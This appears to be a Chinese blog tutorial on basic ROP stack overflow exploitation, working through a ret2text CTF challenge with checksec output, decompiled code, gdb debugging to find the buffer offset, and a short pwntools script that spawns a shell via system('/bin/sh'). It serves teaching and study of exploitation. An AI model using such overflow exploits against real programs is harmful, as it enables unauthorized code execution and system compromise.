基本ROP随着 NX 保护的开启 , 以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果 。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值 , 从而控制程序的执行流程 。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列 , 我们可以修改某些地址的内容,方便控制程序的执行流程 。
ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址 。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址 。
ret2textret2text 即控制程序执行程序本身已有的的代码(.text) 。其实,这种攻击方法是一种笼统的描述 。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP 。
返回system("/bin/sh")这样的危险函数的地址这时,我们需要知道对应返回的代码的位置 。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护 。
例子
首先,查看一下程序的保护机制
?ret2text checksec ret2textArch:i386-32-littleRELRO:Partial RELROStack:No canary foundNX:NX enabledPIE:No PIE (0x8048000)
可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护 。然后 , 我们使用 IDA 来查看源代码 。int __cdecl main(int argc, const char **argv, const char **envp){int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("There is something amazing here, do you know anything?");gets((char *)&v4);printf("Maybe I will tell you next time !");return 0;}
在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了 。下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数 。
.text:080486A7leaeax, [esp+1Ch].text:080486ABmov[esp], eax; s这其实就是 push eax 的一个同义写法可以起到混淆作用.text:080486AEcall_gets; 调用 gets 函数参数 即 变量v4的地址 为 esp + 0x1c
可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,需要找出其相对于ebp
的索引,将断点下在 call 处,查看 esp , ebp,如下gef?b *0x080486AEBreakpoint 1 at 0x80486ae: file ret2text.c, line 24.gef?rThere is something amazing here, do you know anything?Breakpoint 1, 0x080486ae in main () at ret2text.c:2424gets(buf);───────────────────────────────────────────────────────────────────────[ registers ]────$eax: 0xffffcd5c→0x08048329→"__libc_start_main"$ebx: 0x00000000$ecx: 0xffffffff$edx: 0xf7faf870→0x00000000$esp: 0xffffcd40→0xffffcd5c→0x08048329→"__libc_start_main"$ebp: 0xffffcdc8→0x00000000$esi: 0xf7fae000→0x001b1db0$edi: 0xf7fae000→0x001b1db0$eip: 0x080486ae→<main+102> call 0x8048460 <gets@plt>
可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c
,因此,我们可以推断- s 的地址为 0xffffcd5c
- s 相对于 ebp 的偏移为 0x6c
- s 相对于返回地址的偏移为 0x6c+4
##!/usr/bin/env pythonfrom pwn import *sh = process('./ret2text')target = 0x804863ash.sendline('A' * (0x6c+4) + p32(target))sh.interactive()
ret2shellcoderet2shellcode,即控制程序执行 shellcode代码 。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell 。一般来说,shellcode 需要我们自己填充 。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码 。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限 。
ret2syscallret2syscall,即控制程序执行系统调用,获取 shell 。[system调用号表格](https://blog.csdn.net/SUKI547/article/details/103315487?ops_request_misc=&request_id=&biz_id=102&utm_term=linux 系统调用表64位&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187)
例子
推荐阅读
- 四十一 增删查改分页 Java开发学习----MyBatisPlus标准数据层开发
- 中 学习ASP.NET Core Blazor编程系列十——路由
- CC1,3,6回顾
- 图学习【参考资料2】-知识补充与node2vec代码注解
- 二十四 设计模式学习:Spring 中使用到的设计模式
- Java安全之CC3
- TensorFlow深度学习!构建神经网络预测股票价格!?
- JUC学习笔记——共享模型之管程
- Seata Server 1.5.2 源码学习
- 2022极端高温!机器学习如何预测森林火灾?? 万物AI